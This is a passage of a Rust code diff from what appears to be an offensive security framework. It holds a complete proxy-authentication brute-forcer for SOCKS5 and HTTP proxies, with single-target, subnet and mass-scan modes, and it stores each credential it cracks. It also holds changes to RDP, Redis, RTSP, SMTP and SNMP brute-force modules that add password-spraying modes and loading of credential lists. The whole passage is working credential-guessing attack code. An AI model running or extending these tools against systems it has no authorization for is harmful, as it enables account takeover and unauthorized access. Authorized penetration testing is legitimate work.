target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
|
||||
) -> LoginResult {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let dur = Duration::from_millis(timeout_ms);
|
||||
|
||||
let mut stream = match crate::utils::network::tcp_connect(&addr, dur).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
};
|
||||
|
||||
// SOCKS5 greeting: version 5, 1 method, username/password (0x02)
|
||||
if tokio::time::timeout(dur, stream.write_all(&[0x05, 0x01, 0x02])).await.is_err() {
|
||||
return LoginResult::Error { message: "Greeting timeout".to_string(), retryable: true };
|
||||
}
|
||||
|
||||
let mut buf = [0u8; 2];
|
||||
match tokio::time::timeout(dur, stream.read_exact(&mut buf)).await {
|
||||
Ok(Ok(_)) => {}
|
||||
_ => return LoginResult::Error { message: "Greeting response timeout".to_string(), retryable: true },
|
||||
}
|
||||
|
||||
if buf[0] != 0x05 {
|
||||
return LoginResult::Error { message: "Not SOCKS5".to_string(), retryable: false };
|
||||
}
|
||||
if buf[1] != 0x02 {
|
||||
return LoginResult::Error { message: format!("Auth method {} not user/pass", buf[1]), retryable: false };
|
||||
}
|
||||
|
||||
// RFC 1929 username/password auth
|
||||
let user_bytes = user.as_bytes();
|
||||
let pass_bytes = pass.as_bytes();
|
||||
if user_bytes.len() > 255 || pass_bytes.len() > 255 {
|
||||
return LoginResult::Error { message: "Credentials too long (max 255 bytes each)".to_string(), retryable: false };
|
||||
}
|
||||
|
||||
let mut auth_pkt = vec![0x01u8]; // version
|
||||
auth_pkt.push(user_bytes.len() as u8);
|
||||
auth_pkt.extend_from_slice(user_bytes);
|
||||
auth_pkt.push(pass_bytes.len() as u8);
|
||||
auth_pkt.extend_from_slice(pass_bytes);
|
||||
|
||||
if tokio::time::timeout(dur, stream.write_all(&auth_pkt)).await.is_err() {
|
||||
return LoginResult::Error { message: "Auth write timeout".to_string(), retryable: true };
|
||||
}
|
||||
|
||||
let mut resp = [0u8; 2];
|
||||
match tokio::time::timeout(dur, stream.read_exact(&mut resp)).await {
|
||||
Ok(Ok(_)) => {}
|
||||
_ => return LoginResult::Error { message: "Auth response timeout".to_string(), retryable: true },
|
||||
}
|
||||
|
||||
if resp[1] == 0x00 {
|
||||
LoginResult::Success
|
||||
} else {
|
||||
LoginResult::AuthFailed
|
||||
}
|
||||
}
|
||||
|
||||
/// Try HTTP forward proxy with Basic auth.
|
||||
async fn try_http_forward_auth(
|
||||
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
|
||||
) -> LoginResult {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let dur = Duration::from_millis(timeout_ms);
|
||||
|
||||
let mut stream = match crate::utils::network::tcp_connect(&addr, dur).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
};
|
||||
|
||||
let cred = base64::engine::general_purpose::STANDARD.encode(format!("{}:{}", user, pass));
|
||||
let req = format!(
|
||||
"GET http://httpbin.org/ip HTTP/1.1\r\nHost: httpbin.org\r\nProxy-Authorization: Basic {}\r\nConnection: close\r\n\r\n",
|
||||
cred
|
||||
);
|
||||
|
||||
if tokio::time::timeout(dur, stream.write_all(req.as_bytes())).await.is_err() {
|
||||
return LoginResult::Error { message: "Write timeout".to_string(), retryable: true };
|
||||
}
|
||||
|
||||
let mut buf = [0u8; 2048];
|
||||
let n = match tokio::time::timeout(dur, stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
_ => return LoginResult::Error { message: "Read timeout".to_string(), retryable: true },
|
||||
};
|
||||
|
||||
let resp = String::from_utf8_lossy(&buf[..n]);
|
||||
if resp.contains("200") && resp.contains("origin") {
|
||||
LoginResult::Success
|
||||
} else if resp.contains("407") || resp.contains("401") || resp.contains("403") {
|
||||
LoginResult::AuthFailed
|
||||
} else {
|
||||
LoginResult::Error { message: format!("HTTP {}", resp.lines().next().unwrap_or("")), retryable: false }
|
||||
}
|
||||
}
|
||||
|
||||
/// Dispatch to the right auth function based on proxy type.
|
||||
async fn try_proxy_auth(
|
||||
proxy_type: ProxyType, target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
|
||||
) -> LoginResult {
|
||||
match proxy_type {
|
||||
ProxyType::HttpConnect => try_http_connect_auth(target, port, user, pass, timeout_ms).await,
|
||||
ProxyType::Socks5 => try_socks5_auth(target, port, user, pass, timeout_ms).await,
|
||||
ProxyType::HttpForward => try_http_forward_auth(target, port, user, pass, timeout_ms).await,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// MAIN
|
||||
// ============================================================================
|
||||
|
||||
fn display_banner() {
|
||||
crate::mprintln!("{}", "+=================================================================+".cyan());
|
||||
crate::mprintln!("{}", "| Proxy Authentication Bruteforce |".cyan());
|
||||
crate::mprintln!("{}", "| HTTP CONNECT (Basic) | SOCKS5 (RFC 1929) | HTTP Forward |".cyan());
|
||||
crate::mprintln!("{}", "+=================================================================+".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// --- Mass scan ---
|
||||
if is_mass_scan_target(target) {
|
||||
let proxy_type_input = cfg_prompt_default("proxy_type", "Proxy type (http_connect/socks5/http_forward)", "http_connect").await?;
|
||||
let proxy_type = ProxyType::from_str(&proxy_type_input);
|
||||
let users_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let pass_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = Arc::new(load_lines(&users_file)?);
|
||||
let passes = Arc::new(load_lines(&pass_file)?);
|
||||
if users.is_empty() { return Err(anyhow!("Username list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Password list empty")); }
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "Proxy",
|
||||
default_port: proxy_type.default_port(),
|
||||
state_file: "proxy_brute_mass_state.log",
|
||||
default_output: "proxy_brute_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let passes = passes.clone();
|
||||
async move {
|
||||
// Quick connectivity check
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
let t = ip.to_string();
|
||||
for user in users.iter() {
|
||||
for pass in passes.iter() {
|
||||
match try_proxy_auth(proxy_type, &t, port, user, pass, 5000).await {
|
||||
LoginResult::Success => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let msg = format!("[{}] {}:{} {} auth: {}:{}", ts, ip, port, proxy_type.name(), user, pass);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}:{} {}:{}", ip, port, user, pass).green().bold());
|
||||
crate::cred_store::store_credential(
|
||||
&t, port, &format!("proxy-{}", proxy_type.name().to_lowercase()),
|
||||
user, pass, crate::cred_store::CredType::Password,
|
||||
"creds/generic/proxy_bruteforce",
|
||||
).await;
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
LoginResult::AuthFailed => continue,
|
||||
LoginResult::Error { .. } => break, // host issue, skip
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet scan ---
|
||||
if is_subnet_target(target) {
|
||||
let proxy_type_input = cfg_prompt_default("proxy_type", "Proxy type (http_connect/socks5/http_forward)", "http_connect").await?;
|
||||
let proxy_type = ProxyType::from_str(&proxy_type_input);
|
||||
let port = cfg_prompt_port("port", &format!("{} port", proxy_type.name()), proxy_type.default_port()).await?;
|
||||
let users_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let pass_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&users_file)?;
|
||||
let passes = load_lines(&pass_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("Username list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Password list empty")); }
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Concurrent hosts", 50, 1, 500).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output file", "proxy_brute_subnet.txt").await?;
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "proxy",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/proxy_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
try_proxy_auth(proxy_type, &ip.to_string(), port, &user, &pass, 5000).await
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single target ---
|
||||
display_banner();
|
||||
|
||||
let proxy_type_input = cfg_prompt_default("proxy_type", "Proxy type (http_connect/socks5/http_forward)", "http_connect").await?;
|
||||
let proxy_type = ProxyType::from_str(&proxy_type_input);
|
||||
let normalized = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", &format!("{} port", proxy_type.name()), proxy_type.default_port()).await?;
|
||||
|
||||
let users_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let pass_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let usernames = load_lines(&users_file)?;
|
||||
let passwords = load_lines(&pass_file)?;
|
||||
if usernames.is_empty() { return Err(anyhow!("Username list empty")); }
|
||||
if passwords.is_empty() { return Err(anyhow!("Password list empty")); }
|
||||
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Concurrent attempts", 10, 1, 100).await? as usize;
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid credential?", true).await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
let save_path = cfg_prompt_output_file("output_file", "Output file", "proxy_brute_results.txt").await?;
|
||||
let timeout_ms: u64 = cfg_prompt_default("timeout", "Timeout (ms)", "5000").await?.parse().unwrap_or(5000);
|
||||
|
||||
crate::mprintln!("[*] Proxy: {} on {}:{}", proxy_type.name().cyan(), normalized, port);
|
||||
crate::mprintln!("[*] Combos: {}", combos.len());
|
||||
crate::mprintln!();
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: normalized,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
jitter_ms: 0,
|
||||
max_retries: 2,
|
||||
service_name: "proxy",
|
||||
source_module: "creds/generic/proxy_bruteforce",
|
||||
},
|
||||
combos,
|
||||
move |target: String, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
try_proxy_auth(proxy_type, &target, port, &user, &pass, timeout_ms).await
|
||||
}
|
||||
},
|
||||
).await?;
|
||||
|
||||
result.print_found();
|
||||
result.save_to_file(&save_path)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -6,7 +6,8 @@ use tokio::time::Duration;
|
||||
use crate::native::rdp as rdp_native;
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
@@ -307,12 +308,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
};
|
||||
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no(
|
||||
"combo_mode",
|
||||
"Combination mode? (try every password with every user)",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
// Determine streaming vs. memory-loaded mode for large wordlists
|
||||
let use_streaming = should_use_streaming(&passwords_file_path)?;
|
||||
@@ -371,7 +367,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
crate::mprintln!("[*] Loaded {} passwords", passwords.len());
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Total attempts: {}", combos.len()).cyan());
|
||||
|
||||
// Free original vecs since combos now owns the data
|
||||
@@ -390,6 +390,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
delay_ms: 0,
|
||||
max_retries: 2,
|
||||
service_name: "rdp",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/rdp_bruteforce",
|
||||
};
|
||||
|
||||
@@ -452,6 +453,7 @@ async fn run_subnet_scan(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "rdp",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/rdp_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
};
|
||||
|
||||
@@ -5,12 +5,13 @@ use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{
|
||||
load_lines, get_filename_in_current_dir, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
load_lines, get_filename_in_current_dir, cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos, run_bruteforce, run_subnet_bruteforce,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
|
||||
@@ -287,6 +288,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "redis",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/redis_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
@@ -353,7 +355,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no("combo_mode", "Combination mode? (try every pass with every user)", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {}:{}", target, port).cyan());
|
||||
|
||||
@@ -417,7 +419,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
async move {
|
||||
@@ -448,6 +454,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "redis",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/redis_bruteforce",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
@@ -536,7 +543,7 @@ fn redis_ping(target: &str, port: u16, timeout_secs: u64) -> std::result::Result
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
|
||||
stream.write_all(b"PING\r\n")
|
||||
stream.write_all(&resp_cmd(&[b"PING"]))
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
|
||||
let mut buffer = [0u8; 1024];
|
||||
@@ -556,9 +563,19 @@ fn redis_ping(target: &str, port: u16, timeout_secs: u64) -> std::result::Result
|
||||
}
|
||||
}
|
||||
|
||||
/// Attempt Redis AUTH login.
|
||||
/// In ACL mode: sends `AUTH username password\r\n`
|
||||
/// In legacy mode: sends `AUTH password\r\n`
|
||||
/// Build a RESP (REdis Serialization Protocol) array command.
|
||||
/// Length-prefixed format prevents injection even if args contain \r\n.
|
||||
fn resp_cmd(args: &[&[u8]]) -> Vec<u8> {
|
||||
let mut cmd = format!("*{}\r\n", args.len()).into_bytes();
|
||||
for arg in args {
|
||||
cmd.extend_from_slice(format!("${}\r\n", arg.len()).as_bytes());
|
||||
cmd.extend_from_slice(arg);
|
||||
cmd.extend_from_slice(b"\r\n");
|
||||
}
|
||||
cmd
|
||||
}
|
||||
|
||||
/// Attempt Redis AUTH login using safe RESP protocol framing.
|
||||
/// Returns Ok(true) on +OK, Ok(false) on -ERR, Err on connection issues.
|
||||
/// On success, also sends INFO server to gather version info.
|
||||
fn attempt_redis_login(
|
||||
@@ -586,14 +603,14 @@ fn attempt_redis_login(
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
|
||||
// Build AUTH command
|
||||
// Build AUTH command using RESP array format (injection-safe)
|
||||
let auth_cmd = if acl_mode {
|
||||
format!("AUTH {} {}\r\n", user, pass)
|
||||
resp_cmd(&[b"AUTH", user.as_bytes(), pass.as_bytes()])
|
||||
} else {
|
||||
format!("AUTH {}\r\n", pass)
|
||||
resp_cmd(&[b"AUTH", pass.as_bytes()])
|
||||
};
|
||||
|
||||
stream.write_all(auth_cmd.as_bytes())
|
||||
stream.write_all(&auth_cmd)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
|
||||
let mut buffer = [0u8; 2048];
|
||||
@@ -603,7 +620,7 @@ fn attempt_redis_login(
|
||||
|
||||
if response.contains("+OK") {
|
||||
// Auth succeeded — gather server info
|
||||
if stream.write_all(b"INFO server\r\n").is_ok() {
|
||||
if stream.write_all(&resp_cmd(&[b"INFO", b"server"])).is_ok() {
|
||||
let mut info_buf = [0u8; 4096];
|
||||
if let Ok(info_n) = stream.read(&mut info_buf) {
|
||||
let info_response = String::from_utf8_lossy(&info_buf[..info_n]);
|
||||
@@ -620,7 +637,7 @@ fn attempt_redis_login(
|
||||
}
|
||||
}
|
||||
// Clean disconnect
|
||||
if let Err(e) = stream.write_all(b"QUIT\r\n") { crate::meprintln!("[!] Redis QUIT write error: {}", e); }
|
||||
if let Err(e) = stream.write_all(&resp_cmd(&[b"QUIT"])) { crate::meprintln!("[!] Redis QUIT write error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
|
||||
@@ -9,12 +9,12 @@ use std::{
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
time::timeout,
|
||||
};
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
@@ -184,12 +184,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no(
|
||||
"combo_mode",
|
||||
"Combination mode? (try every pass with every user)",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let advanced_mode = cfg_prompt_yes_no(
|
||||
"advanced_mode",
|
||||
@@ -292,7 +287,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
};
|
||||
|
||||
let combos = generate_combos(&users, &pass_lines, combo_mode);
|
||||
let mut combos = generate_combos_mode(&users, &pass_lines, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
@@ -364,6 +363,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
delay_ms: 10,
|
||||
max_retries: 2,
|
||||
service_name: "rtsp",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/rtsp_bruteforce",
|
||||
},
|
||||
combos.clone(),
|
||||
@@ -484,6 +484,7 @@ async fn run_subnet_scan(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
output_file: output_file.clone(),
|
||||
service_name: "rtsp",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/rtsp_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
@@ -579,28 +580,16 @@ async fn try_rtsp_login(
|
||||
|
||||
// Try each candidate address
|
||||
for sa in addrs {
|
||||
match timeout(
|
||||
Duration::from_millis(CONNECT_TIMEOUT_MS),
|
||||
TcpStream::connect(*sa),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(s)) => {
|
||||
match crate::utils::network::tcp_connect_addr(*sa, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
|
||||
Ok(s) => {
|
||||
stream = Some(s);
|
||||
connected_sa = Some(*sa);
|
||||
break;
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
Err(e) => {
|
||||
last_err = Some(e);
|
||||
continue;
|
||||
}
|
||||
Err(_) => {
|
||||
last_err = Some(std::io::Error::new(
|
||||
std::io::ErrorKind::TimedOut,
|
||||
"Connect timeout",
|
||||
));
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -7,13 +7,18 @@ use std::time::Duration;
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
|
||||
/// Default SMTP timeout in milliseconds (10 seconds).
|
||||
/// Real SMTP servers often do reverse DNS lookups on connect, taking 5-10s.
|
||||
const DEFAULT_TIMEOUT_MS: u64 = 10_000;
|
||||
|
||||
use crate::utils::{
|
||||
load_lines,
|
||||
cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
|
||||
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
|
||||
};
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos, run_bruteforce, run_subnet_bruteforce,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
|
||||
@@ -68,7 +73,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let u = user.clone();
|
||||
let p = pass.clone();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
try_smtp_login(&t, port, &u, &p)
|
||||
try_smtp_login(&t, port, &u, &p, DEFAULT_TIMEOUT_MS)
|
||||
}).await;
|
||||
|
||||
match res {
|
||||
@@ -113,13 +118,14 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "smtp",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/smtp_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let target_str = ip.to_string();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
try_smtp_login(&target_str, port, &user, &pass)
|
||||
try_smtp_login(&target_str, port, &user, &pass, DEFAULT_TIMEOUT_MS)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
@@ -146,7 +152,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 10000).await? as u64;
|
||||
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid login?", true).await?;
|
||||
let combo_mode = cfg_prompt_yes_no("combo_mode", "Try every username with every password?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output file for results", "smtp_results.txt").await?;
|
||||
|
||||
@@ -157,12 +163,16 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
crate::mprintln!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
let try_login = move |target: String, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
try_smtp_login(&target, port, &user, &pass)
|
||||
try_smtp_login(&target, port, &user, &pass, DEFAULT_TIMEOUT_MS)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
@@ -188,6 +198,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
delay_ms,
|
||||
max_retries: 2,
|
||||
service_name: "smtp",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/smtp_bruteforce",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
@@ -208,13 +219,14 @@ fn read_smtp_line(reader: &mut BufReader<&TcpStream>) -> Result<String> {
|
||||
Ok(line.trim_end().to_string())
|
||||
}
|
||||
|
||||
fn try_smtp_login(target: &str, port: u16, username: &str, password: &str) -> Result<bool> {
|
||||
fn try_smtp_login(target: &str, port: u16, username: &str, password: &str, timeout_ms: u64) -> Result<bool> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let timeout = Duration::from_millis(timeout_ms);
|
||||
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
|
||||
let stream = crate::utils::blocking_tcp_connect(&socket, Duration::from_millis(2000))?;
|
||||
let stream = crate::utils::blocking_tcp_connect(&socket, timeout)?;
|
||||
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
stream.set_read_timeout(Some(Duration::from_millis(2000)))?;
|
||||
stream.set_write_timeout(Some(Duration::from_millis(2000)))?;
|
||||
stream.set_read_timeout(Some(timeout))?;
|
||||
stream.set_write_timeout(Some(timeout))?;
|
||||
|
||||
let mut reader = BufReader::new(&stream);
|
||||
// We write via a reference to the same stream (TcpStream is duplex)
|
||||
|
||||
@@ -9,7 +9,8 @@ use std::{
|
||||
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
generate_combos_mode, ComboMode,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
@@ -146,7 +147,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Build combos: empty username, community string as password.
|
||||
let empty_users = vec![String::new()];
|
||||
let combos = generate_combos(&empty_users, &communities, true);
|
||||
let combos = generate_combos_mode(&empty_users, &communities, ComboMode::Combo);
|
||||
|
||||
let config = BruteforceConfig {
|
||||
target: norm_target.clone(),
|
||||
@@ -157,6 +158,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
delay_ms: 10,
|
||||
max_retries: 2,
|
||||
service_name: "snmp",
|
||||
